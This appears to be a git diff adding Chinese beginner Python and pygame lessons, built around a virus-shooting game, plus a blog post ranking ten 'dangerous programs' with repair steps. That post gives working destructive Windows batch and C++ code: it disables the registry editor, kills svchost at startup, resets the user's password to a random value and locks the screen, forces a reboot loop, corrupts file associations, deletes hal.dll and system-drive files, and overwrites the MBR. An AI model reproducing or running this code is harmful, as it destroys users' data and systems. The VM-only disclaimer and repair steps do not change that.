+ +```python +练习题 +创建一个计算类,里面有四个方法,分别是jia、jian、cheng、chu。使用上*arg,对传入的数字进行相应的计算。 +``` + diff --git "a/\345\215\201\344\271\235\343\200\201\347\273\230\345\210\266\345\207\272\347\227\205\346\257\222\345\271\266\345\220\221\345\267\246\347\247\273\345\212\250.md" "b/\345\215\201\344\271\235\343\200\201\347\273\230\345\210\266\345\207\272\347\227\205\346\257\222\345\271\266\345\220\221\345\267\246\347\247\273\345\212\250.md" new file mode 100644 index 0000000..e810f88 --- /dev/null +++ "b/\345\215\201\344\271\235\343\200\201\347\273\230\345\210\266\345\207\272\347\227\205\346\257\222\345\271\266\345\220\221\345\267\246\347\247\273\345\212\250.md" @@ -0,0 +1,124 @@ +# 开始写代码 +## 构造全局变量 +我们要使用全局变量,需要用到一个类,就是我们上次课里面,内容超多的`Game`类。 +我们先这样写: +```python +class Game(): + virus_imgs = [virus1,virus2,virus3] +``` +
+ +## 构造`Virus`类 +我们创建一个病毒类,并在`Game`类里面储存它的对象: + +```python +class Virus(): + def __init__(self): + self.width = 33 #图片的宽 + self.height = 33 #图片的高 + self.img = choice(Game.virus_imgs) #随机使用病毒的图片 + self.x = 1000 - self.width #X坐标 + self.y = randint(0,700 - self.height) #随机的Y坐标 + self.speed = randint(1,10) #向左飞行的速度 + def paint(self): #绘制 + canvas.blit(self.img,(self.x,self.y)) + def step(self): #移动 + self.x -= self.speed #X坐标递减,即向左移动 +``` + +```python +class Game(): + virus_imgs = [virus1,virus2,virus3] + virus = [] +``` +由于病毒可以有无限个,所以我们要在这里创建一个列表,储存它的对象。 + +
+ +## `conEnter`组件 +我们要在`conEnter`组件内给病毒列表添加对象: + +```python +def conEnter(): + Game.virus.append(Virus()) +``` +我们调用它: + +```python +def control(): + conPaint() + event() + conEnter() + pygame.display.update() +``` +然后,我们在绘制组件内添加: + +```python +def conPaint(): + canvas.blit(bg,(0,0)) + + for virus in Game.virus: + virus.paint() +``` +可以看到: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210130114855298.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +边上有很多病毒,而且出现的时间很短,我们需要用到时间间隔,来判断是否应该新建一个病毒对象的元素。 +在`conEnter`组件上方,添加以下代码: +```python +def isActionTime(lastTime,interval): + if lastTime == 0: + return True + currentTime = time() + return currentTime - lastTime >= interval +``` +然后在`Game`类中,做个改动: + +```python +class Game(): + virus_imgs = [virus1,virus2,virus3] + virus = [] + lastTime = time() + interval = 1 #时间间隔 +``` +更改`conEnter`中的代码: + +```python +def conEnter(): + if not isActionTime(Game.lastTime,Game.interval): + return + Game.lastTime = time() + + Game.virus.append(Virus()) +``` +这样就可以了,每隔一秒生成一个病毒。 +
+ +## `conStep`组件 +我们让病毒向左移动,需要用到移动组件,在`conEnter`下方插入代码: + +```python +def conStep(): + for virus in Game.virus: + virus.step() +``` + + 调用: + + +```python +def control(): + conPaint() + event() + conEnter() + conStep() + pygame.display.update() +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210130115723273.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +
+ +# 练习题 + +```python +让病毒0.5秒生成一个。 +``` + diff --git "a/\345\215\201\344\272\214\343\200\201\351\232\217\346\234\272\346\225\260.md" "b/\345\215\201\344\272\214\343\200\201\351\232\217\346\234\272\346\225\260.md" new file mode 100644 index 0000000..3a50b0e --- /dev/null +++ "b/\345\215\201\344\272\214\343\200\201\351\232\217\346\234\272\346\225\260.md" @@ -0,0 +1,60 @@ +我们可以让电脑替随机我们想一个数字,比如用命令提示符: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210125113806529.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +还说我们正在学的语言,生成一个随机数也要用到一个模块,它的名字叫做`random`,英文是“随机的”。 + +
+ +## 如何使用? +在新课中,我们也要使用随机数,让病毒从窗口右边随机`y`坐标向左移动,生成的病毒图片也需要使用随机数。 + +我们首先导入它: + +```python +from random import randint,choice,sample +``` +我们来熟悉下`random.randint`的格式: +`randint(起始点,结束点)` + +```python +#随机生成一个1~10区间的整数 +print(randint(1,10)) +``` +每次试,结果不一定相同。 + +我们再来声明一个列表: + +```python +numbers = [0,1,2,3,4,5,6,7,8,9] +``` +如何随机选择?有两种方法: + +```python +#第一种:使用choice直接输出(推荐,这种相对简便) +print(choice(numbers)) + +#第二种:使用随机数访问下标 +print(numbers[randint(0,len(numbers) - 1)]) +``` +拓展:如何打乱列表? + +```python +from random import sample + +#声明列表 +numbers = [] + +#添加元素 +for i in range(0,11): + numbers.append(i) + +#打乱列表 +print(sample(numbers,len(numbers))) +``` + +
+ +```python +练习题 +声明空列表numbers,用循环添加1~100所有数字到列表中。然后随机选择一个数字,输出。 +``` + diff --git "a/\345\215\201\344\272\224\343\200\201base64\347\274\226\347\240\201.md" "b/\345\215\201\344\272\224\343\200\201base64\347\274\226\347\240\201.md" new file mode 100644 index 0000000..ed7a180 --- /dev/null +++ "b/\345\215\201\344\272\224\343\200\201base64\347\274\226\347\240\201.md" @@ -0,0 +1,12 @@ +前期写过base64的使用,
请点击这里阅读。 +我们后期的课程需要使用base64,将图片编码,发送给百度的人脸识别接口。这个功能务必掌握。 + +今天是我们最后一节基础内容课,以后我们将会开始更有难度的学习。 + +
+ +```python +练习题 +请使用base64加密“你好,世界”。 +``` + diff --git "a/\345\215\201\345\205\253\343\200\201\347\273\230\345\210\266\346\270\270\346\210\217\350\203\214\346\231\257\345\233\276\347\211\207.md" "b/\345\215\201\345\205\253\343\200\201\347\273\230\345\210\266\346\270\270\346\210\217\350\203\214\346\231\257\345\233\276\347\211\207.md" new file mode 100644 index 0000000..3326e74 --- /dev/null +++ "b/\345\215\201\345\205\253\343\200\201\347\273\230\345\210\266\346\270\270\346\210\217\350\203\214\346\231\257\345\233\276\347\211\207.md" @@ -0,0 +1,143 @@ +> 我们从今天开始研发**主要的游戏部分**。前期我们学习了游戏的引入,最后再学习人工智能的项目。 + +为了方便我们学习,我可能会对项目进行一定的改动,不用管源代码是什么样。 +一定要注意,每次课最后都有课后练习,一定要完成。 + +
+ +# 要准备些什么? +我们要准备好**开发工具、课程项目**,打开**待完成部分**。我们今天在`game.py`内写代码。 + +
+ +# 需要用到哪些包? + +``` +pygame +os +random +time +``` +**请妥善保存每一次课的代码进度,以免丢失!** + +
+ +# 开始写代码! +## 构建一个窗口 +导入包: + +```python +import pygame +from random import randint,choice +from time import sleep,time +from os import system,remove +from os.path import exists +from pygame.locals import * +``` + +我们先来创建一个窗口: + +```python +pygame.init() +canvas = pygame.display.set_mode((980,700)) +canvas.fill((255,255,255)) +pygame.display.set_caption('抗击病毒') +``` +判断是否存在运行条件: + +```python +try: + if not exists('START.txt'): + pygame.quit() + system('python "抗击病毒.py"') + else: + remove('START.txt') +except: + pass +``` + +
+ +## 导入素材 +加载图片,储存在对象中: + +```python +bg = pygame.image.load('images/hospital.jpg') +doctor = pygame.image.load('images/doctor.png') +virus1 = pygame.image.load('images/virus.png') +virus2 = pygame.image.load('images/virus.jpg') +virus3 = pygame.image.load('images/virus.jpeg') +boss1 = pygame.image.load('images/boss1.png') +boss2 = pygame.image.load('images/boss2.png') +lose = pygame.image.load('images/lose.jpg') +bullet = pygame.image.load('images/bullet.png') +win = pygame.image.load('images/win.jpg') +bag1 = pygame.image.load('images/bag.png') +``` +导入字体对象(我们以后会学到): + +```python +font = pygame.font.Font('fonts/font.ttf',45) +``` +
+ +## 组件 +为了方便使用,我们使用几个组件,全局赋值如下: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210130111733348.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +我们发现,有很多`con`开头的函数,它们都是组件。我们把代码封装进去,最后在`control`中调用。 + +
+ +### 创建`绘制组件` +在`game.py`中,我们创建`conPaint`组件,绘制出背景图片: + +```python +def conPaint(): + canvas.blit(bg,(0,0)) +``` +再创建`control`函数,调用绘制组件: + +```python +def control(): + conPaint() + pygame.display.update() +``` +在循环里调用`control`函数: + +```python +while True: + control() +``` +别看这样麻烦,后期很方便使用。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210130112410475.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +已经成功绘制,我们发现还无法关闭,我们一起来处理下关闭事件。 + +
+ +### 事件 +在绘制组件下方,我们插入处理事件的代码: + +```python +def event(): + for event in pygame.event.get(): + if event.type == QUIT: + pygame.quit() + exit() +``` +调用: + +```python +def control(): + conPaint() + event() + pygame.display.update() +``` + +
+ +# 练习题 + +```python +绘制出virus1的图片,位置(100,100)。 +``` + diff --git "a/\345\215\201\345\205\255\343\200\201PyGame\346\230\276\347\244\272\345\233\276\347\211\207.md" "b/\345\215\201\345\205\255\343\200\201PyGame\346\230\276\347\244\272\345\233\276\347\211\207.md" new file mode 100644 index 0000000..c1ba2bf --- /dev/null +++ "b/\345\215\201\345\205\255\343\200\201PyGame\346\230\276\347\244\272\345\233\276\347\211\207.md" @@ -0,0 +1,95 @@ +我们的新课即将开始,请大家先下载[课程文件](https://pandaoxi2020.lanzous.com/b01c2eofe),下载密码是`study`。可以打开完整版看一下效果。 + +[video(video-guoWJ0no-1611804357132)(type-tencent)(url-https://v.qq.com/txp/iframe/player.html?vid=k32242adf8y)(image-http://puui.qpic.cn/vpic/0/k32242adf8y.png/0)(title-《十六、PyGame显示图片》)] + +
+ +# `PyGame`窗口 +我们后期做游戏都需要这个库,它专门用来开发游戏,里面有很多内容。 +## 如何创建一个窗口呢? +我们打开待完成文件夹中的`page1.py`,书写代码如下: + +```python +#导入包 +import pygame +from pygame.locals import * + +#创建一个窗口 +pygame.init() #初始化窗口 +canvas = pygame.display.set_mode((1000,600)) #新建一个长1000像素,宽600像素的窗口 +canvas.fill((255,255,255)) #填充白色,中间是RGB值 +pygame.display.set_caption('抗击病毒') #窗口标题 + +#设定循环 +while True: + pygame.display.update() #更新窗口 +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210128112642784.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +我们发现无法关闭窗口。这是因为我们并没有给定程序,如果点击右上角的`×`,该如何处置,所以我们的代码变更为: + +```python +#导入包 +import pygame +from pygame.locals import * +from sys import exit + +#创建一个窗口 +pygame.init() #初始化窗口 +canvas = pygame.display.set_mode((1000,600)) #新建一个长1000像素,宽600像素的窗口 +canvas.fill((255,255,255)) #填充白色,中间是RGB值 +pygame.display.set_caption('抗击病毒') #窗口标题 + +#处理事件函数 +def event(): + for event in pygame.event.get(): #遍历窗口的事件 + if event.type == QUIT: #如果是退出事件 + pygame.quit() #关闭窗口 + exit() #退出程序 + +#设定循环 +while True: + event() + pygame.display.update() #更新窗口 +``` +这样就可以退出了。 +## 如何添加图片? +我们的窗口现在是空白的,我们要添加一张图片,该如何添加呢? +这时候,需要我们使用`窗口对象.blit(图片对象,(X坐标,Y坐标))`来解决了。程序里的坐标是指**直角坐标系**,我们通过一个平面上的横和纵两个方面,来确定一个东西的位置。这个坐标以它的**左上角**为参照,即窗口左上角坐标为`(0,0)`。 + +```python +#导入包 +import pygame +from pygame.locals import * +from sys import exit + +#创建一个窗口 +pygame.init() #初始化窗口 +canvas = pygame.display.set_mode((1000,600)) #新建一个长1000像素,宽600像素的窗口 +canvas.fill((255,255,255)) #填充白色,中间是RGB值 +pygame.display.set_caption('抗击病毒') #窗口标题 + +#导入图片 +image1 = pygame.image.load('./images/start page/bg1.jpg') + +#处理事件函数 +def event(): + for event in pygame.event.get(): #遍历窗口的事件 + if event.type == QUIT: #如果是退出事件 + pygame.quit() #关闭窗口 + exit() #退出程序 + +#设定循环 +while True: + canvas.blit(image1,(0,0)) #绘制图片 + event() + pygame.display.update() #更新窗口 +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210128113534671.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +我们后期会学到更多的事件,今天就先说这么多,来看下练习题吧! +
+ +```python +练习题 +使用课中所介绍的同样的方法,在page2.py中,绘制图片./images/start page/bg2.jpg。 +``` + diff --git "a/\345\215\201\345\233\233\343\200\201\346\240\274\345\274\217\345\214\226\345\255\227\347\254\246\344\270\262\343\200\201\344\275\277\347\224\250CMD\345\221\275\344\273\244.md" "b/\345\215\201\345\233\233\343\200\201\346\240\274\345\274\217\345\214\226\345\255\227\347\254\246\344\270\262\343\200\201\344\275\277\347\224\250CMD\345\221\275\344\273\244.md" new file mode 100644 index 0000000..c807838 --- /dev/null +++ "b/\345\215\201\345\233\233\343\200\201\346\240\274\345\274\217\345\214\226\345\255\227\347\254\246\344\270\262\343\200\201\344\275\277\347\224\250CMD\345\221\275\344\273\244.md" @@ -0,0 +1,66 @@ +## 第一部分:格式化字符串 +一直使用字符串拼接符是不是很麻烦?学了今天这课,你会觉得轻松百倍! +# ①使用`%s`、`%d`、`%f` + +> %s 指 字符串,是将字符串插入字符串。 +> %d 指 整数类型,是将整数改为字符串再插入。 +> %f 指 浮点数类型,将浮点数改为字符串再插入。 + +我们来看下语法格式: +`'%s,%d,%f' % ('str','int','float')` +字符串内怎么写,我一律不管了,只要插入就得与字符串外`%`后面的内容对应。 + +```python +print('Hello,%s!' % (input('Your Name:'))) +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210126112150495.png) +## ②使用`字符串.format()` +在字符串内插入几个大括号`{}`,字符串格式化也可以这样写: + +`'{0}{1}{2}'.format('str1','str2','str3')` +里面的数字用于指定`format`中格式化字符的位置,可以这样写: + +```python +s1 = 'hello' +s2 = 'world' + +#通过位置访问 +print('{1} {0}'.format(s1,s2)) +print('{0} {1}'.format(s1,s2)) + +#或者通过关键字也可以访问 +print('{hello} {world}'.format(hello = s1,world = s2)) +``` + +## 二、第二部分:使用`CMD`命令 +我们如何在一种语言中使用另一种语言?我们今天要使用`os.system()`,如果电脑不是`Windows`系统,代码是无效的。 +
+我们先导入: + +```python +from os import system +``` +我们直接调用,括号里面放命令,前缀是`r`,因为路径的间隔符是`\`,为了避免被编译器识别成需要转义,加上这个前缀。 + +```python +system(r'dir /s "C:\"') +``` +这样就可以看到“跑目录”了。 +
+ +打开另一个文件的命令是什么?请看: +`python 文件名` +我们直接敲代码: + +```python +system(r'python "01.py"') +``` +可能因为没有这个文件,无法使用,但是是可以使用的。 + +
+ +```python +练习题 +调整窗口颜色为0A,命令为color 0A。 +``` + diff --git "a/\345\215\261\351\231\251\347\232\20410\344\270\252\347\250\213\345\272\217\345\217\212\350\247\243\345\206\263\345\212\236\346\263\225.md" "b/\345\215\261\351\231\251\347\232\20410\344\270\252\347\250\213\345\272\217\345\217\212\350\247\243\345\206\263\345\212\236\346\263\225.md" new file mode 100644 index 0000000..dd8f592 --- /dev/null +++ "b/\345\215\261\351\231\251\347\232\20410\344\270\252\347\250\213\345\272\217\345\217\212\350\247\243\345\206\263\345\212\236\346\263\225.md" @@ -0,0 +1,299 @@ +@[toc] + +# 前言 +我发现大家好像更偏好一些集合某种程序的文章,自从上次的[《有趣的10个CMD命令》](https://pandaoxi.blog.csdn.net/article/details/122838528),我看到这类的文章收藏数怎么那么高???![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a8cb25c6bfff4cbeb3c3bf6dfbcb29d2.png) +所以,我厚着脸皮再写一篇。 + +
+ +注意: +本篇文章仅为了科普和学术研究,如需测试务必请在虚拟机环境下运行,由于操作不当造成的意外作者不负责任。 + +> 建议尝试时不要把注释也写进去; +> 运行时使用管理员权限。(Top 2、Top 1 可以不用) + +# 正文 +## TOP 10:自己读写我自己😏 +> 语言: Python +> 工具:Python +> 危险系数:0.3 +> 截图:![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8ccea1d3a1894977b54b26061e1fae60.png) +> 运行效果: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/72bc03a736704f5eb7868960c9455310.gif#pic_center) + +太刑了!这一会儿就整废了! +![高木同学天下第一](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/191e48000aeb494489f8efe14c148401.png) + +```python +while True: + # 诶我自己读取我自己 + with open(__file__,"r",encoding="utf-8") as r: + # 诶我自己写入我自己 + with open(__file__,"a",encoding="utf-8") as w: + # 利用一个临时变量储存内容 + tmp = r.read().splitlines() + # 我写入了我自己 + w.write("".join(tmp[1:len(tmp)])) # 除去第一行的循环。 + +``` +注意,上面的那个空行**很重要**!!! +这个办法挺可铐的。 + +### 修复 +重启,删除。 +## TOP 9:修改壁纸 + +> 语言: Windows 批处理 +> 工具:Notepad (记事本), Bat_To_Exe_Converter +> 危险系数:0.5 +> 截图:![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b1bacf8e091f41d1b32f2865195bb28c.png) +> 运行效果: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1380fb182641472ab5d81e080940989f.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/972dda77e3b84dc9841f363190195ab1.png) + +程序运行后,释放了几个文件,我们通过工具提取出来,发现是一个批处理文件和几个图标。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6e27812a14f349d8a748c1a2da3e5d63.png) +显而易见,`pan.bat`是程序母体。 +在Windows批处理中,`::`后面是注释内容。 +```powershell +chcp 65001 >nul +:: 切换到桌面目录 +cd "%userprofile%\desktop" +:: 对自解压出来的文件进行隐藏 +attrib +s +h /s /d image.jpg +attrib +s +h /s /d icon.ico +attrib +s +h /s /d test.ico +:: 添加注册表,修改桌面壁纸 +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "Wallpaper" /f /d "%userprofile%\desktop\image.jpg" +:: 修改桌面壁纸设置为平铺 +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "WallpaperStyle" /f /d "2" +:: 修改exe文件的默认图标 +reg add "HKCR\exefile\DefaultIcon" /f /d "%userprofile%\desktop\icon.ico" +:: 修改txt文件的默认图标 +reg add "HKCR\txtfile\DefaultIcon" /f /t REG_EXPAND_SZ /d "%userprofile%\desktop\icon.ico" +:: 修改bat文件的默认图标 +reg add "HKCR\batfile\DefaultIcon" /f /t REG_EXPAND_SZ /d "%userprofile%\desktop\test.ico" +:: 禁用注册表编辑器 +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /f /v DisableRegistryTools /t REG_DWORD /d 00000001 +:: 刷新文件资源管理器 +taskkill /im explorer.exe /f & explorer +``` +### 修复 + + 1. Win+R 呼出运行窗口,输入`gpedit.msc`,打开“本地组策略编辑器”。 + 2. 依次打开`用户配置、管理模板、系统`,往下滑找到`阻止访问注册表编辑工具`。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3ccd0e2b40d54a5aa5570634a89767d2.png) + 3. 双击选项,点击对话框中的 **“已禁用”** ,再点确定。 + 4. 此时注册表编辑器已经可以打开,Ctrl+F搜索释放出来的文件名,把搜索出来的项目都删掉即可。 + 5. 重启文件资源管理器,或者重启电脑就可以恢复正常了。 + +详细修复过程可以参考 [视频](https://www.bilibili.com/video/BV1cY4y1B7ya?spm_id_from=333.999.0.0) 。 + +## TOP 8:重启蓝屏 +与第5名是一样的,都是自启动技术。我们来看看吧~ + +> 需要说明的有一点,注册表中凡是以`Run`命名的项,下面都是和启动的软件相关的东西。 +> 我们这次使用的注册表位置在`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`。 +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3dae39cb963548e18371baae7614be5a.png) +> 你看,本来这里就有几个启动项。 + + +> 语言: Windows 批处理 +> 工具:记事本 +> 危险系数:0.7 + +```python +reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /f /v "pandaoxi_yyds" /t REG_SZ /d "something.bat" +cd "%windir%" +echo taskkill /im svchost.exe /f >>something.bat +``` +运行后,成功地看到了注册表增加了数据:![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/26f577fa61844ac5aa730ae856d34641.png) +重启后,程序运行,win7电脑显示“接口未知”,win10蓝屏。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/15d21a4eb2b7406ba8061606ff6144d7.png) +### 修复 +同第五名,记得修改注册表! +## TOP 7:修改用户名密码 + +> 语言: Windows 批处理 +> 工具: 记事本、命令提示符 +> 危险系数: 0.8 +> 运行效果: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7bca1d089d8143fe84b74537794d377f.png)![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d4a5a96481d2454eb397a48cf1d8643b.png) + +其实很简单,打开命令提示符,依次输入以下命令(注释不必输进去): + +```powershell +:: 给当前用户随机生成10位的密码 +net user %username% %random%%random% +:: 锁屏 +rundll32 user32.dll,LockWorkStation +``` + +### 修复 +修复略有一丝丝的麻烦,可以准备一个PE,或者利用 Windows 7 的一个修复模式 BUG ,都可以。我们使用PE。 + + 1. BIOS 设置,从 PE 启动系统。这里用 优启通PE 做示范。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d7635f51049c4f5fba0840bd8f99ba1b.png) + 2. “开始菜单、程序、密码相关、密码破解工具”,打开这个工具。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/153aeb5c7c174b4285166242418a82c5.png) + 3. 依次选中,修改密码。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/26221268d5974f03b0eb3d3e6524fe26.png) + 4. 留空,确认,保存修改。拔掉U盘,重新启动。 + 5. 恢复正常。 + ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/471334a5a60941c6ac606f950e63c72d.png) +## TOP 6:开机就重启 +> 语言: Windows 批处理 +> 工具: 记事本 +> 危险系数: 1.5 +> 运行效果:开机就重启,进入循环,直到报废。 +> + +```powershell +:: 切换到快速启动目录 +cd "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" +:: 添加命令到文件 +echo shutdown /r /t 0 >> haha.bat +:: 重启 +shutdown /r /t 0 +``` + +### 修复 + + 1. 在某次启动中强制关机,进入安全恢复页面,选择安全模式进入。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/bb8ba850452343fbab6bdc791eb29c27.png) + 2. 等候片刻,进入后,在“运行”窗口内输入`shell:startup`。删除里面的`haha.bat`。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c09ba413309f4443a9ba200ac2da7b8b.png) + 3. 重启即可,修复完成。 + +## TOP 5:对文件关联搞破坏 +> 语言: 记事本 +> 工具:记事本 +> 危险系数:2.0 +> 运行效果: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/893b6ea26dee40ffb3060eae3169b469.png) + + +```cpp +assoc .exe=txtfile +assoc .txt=exefile +assoc .bat=exefile +assoc .png=exefile + +:: ...... +``` + +### 修复 +建议再写回去,修改`ftype`。 + +## TOP 4:XP系统下删除核心链接库 +> 语言:Windows 批处理 +> 工具:命令提示符 +> 危险系数:3.0 +> 运行效果:![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c131b4faf9f341128972b6d511832d9c.png)![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a607bea80f05418784cd9c8a5298a1cf.png) + +```powershell +del /q /s /f C:\WINDOWS\system32\hal.dll +``` + +### 修复 +建议在PE里从原版镜像里面复制一个出来,放到`%windir%\system32`下。 + +## TOP 3:禁用大量程序 +> 语言:Windows 批处理 +> 工具:记事本 +> 危险系数:4.5 +> 截图:![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/88cd60d63fd3430a9c4ec664b95b7daf.png) +> 运行效果: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d7aea96882e743ec9988a65084ab9f7f.png) +> 不管打开什么(除了真的存在`%windir%\sth.exe`可以打开外)都不可以。 + + +```python +:: 先设定允许打开 RestrictRun 功能 +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /f /v "RestrictRun" /t REG_Expand_SZ /d "1" +:: 限定文件打开,但指向了一个“不存在的文件”。 +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun" /f /v "1" /t REG_Expand_SZ /d "%windir%\sth.exe" +:: 重启文件资源管理器,故事结束了 +taskkill /im explorer.exe /f & explorer.exe +``` +### 修复 +建议从PE系统里面导入注册表,进行修改。 + + +## TOP 2:干掉系统盘里大多数文件 +> 语言: Windows 批处理 +> 工具:记事本、Bat_To_Exe_Converter +> 危险系数:4.8 +> 截图:![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/00b7a058c4534f1c9d1903434616c84a.png) +> [运行效果](https://www.bilibili.com/video/BV19Y411g7jJ?spm_id_from=333.999.0.0) +> + +这个程序使用了一款工具——`NSudo`,用来提权,可以从网上找,下载看看。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5644c70428b94a9ca4d38533e4c60c86.png) + +```cpp +::Author:PANDAOXI + +:: 隐藏文件 +attrib +s +h /s /d "delall.bat" +attrib +s +h /s /d "MoPlugin.dll" +attrib +s +h /s /d "NSudo.json" +attrib +s +h /s /d "NSudoAPI.dll" +attrib +s +h /s /d "NSudoAPI.lib" +attrib +s +h /s /d "NSudoDM.dll" +attrib +s +h /s /d "NSudoLC.exe" +attrib +s +h /s /d "NSudoLG.exe" +attrib +s +h /s /d "NSudoPluginHost.exe" + +:: 延时10秒开始删除 +timeout 10 +:: 能删的都删了 +NSudoLG -U:T -ShowWindowMode:Hide -P:E cmd /c del "%SYSTEMDRIVE%\*.*" /q /s /f +``` + +### 修复 +没救了,建议重装系统😰。 +## TOP 1:清除主引导记录 +> 语言: C++ +> 工具: Dev-cpp +> 危险系数:5.0 +> 截图:![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3f977395924e4ec9ae5c181179441977.png) +> 运行效果: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/81957dddfb554353b3e56d3b1dc0ce4f.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/bdd1a05130b24550a98aadb8d02fa63a.png) + +挺简单的,如下: + +```cpp +#include +#include +using namespace std; +int main(){ + // 读取物理硬盘 + FILE *disk=fopen("\\\\.\\PHYSICALDRIVE0","rb+"); + // 设定空的 mbr + char mbr[512]={0}; + // 写入 + fwrite(mbr,sizeof(mbr),1,disk); + // 重启 + system("shutdown /r /t 0"); + // 程序的完毕、电脑的消亡 + return 0; +} +``` + +### 修复 +既然是 Top 1 ,必然修复是要麻烦些的~ +![高木同学天下第一](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5b69e42bbed74a0faf9850bd3dd3c315.png) + + + (1) 打开一个PE系统,我们需要重新进行分区。这里我使用DG。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6607f2a773974475bd2fc1e3f0ae8bb8.png) + (2)重新分区。点击“搜索分区” +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/fdc4045f6eba44d2973fbe147ff5f01f.png) +(3)“整个磁盘”,然后开始,全部保留搜索到的分区。然后保存更改。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/74006c47029b4930ac320f18411e5ab4.png) + (4)开始屏幕、程序、系统安装、第一项的程序。 + 我们要开始修复引导了。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4ee8c880ceba45a6a6369bb3483efbc5.png) 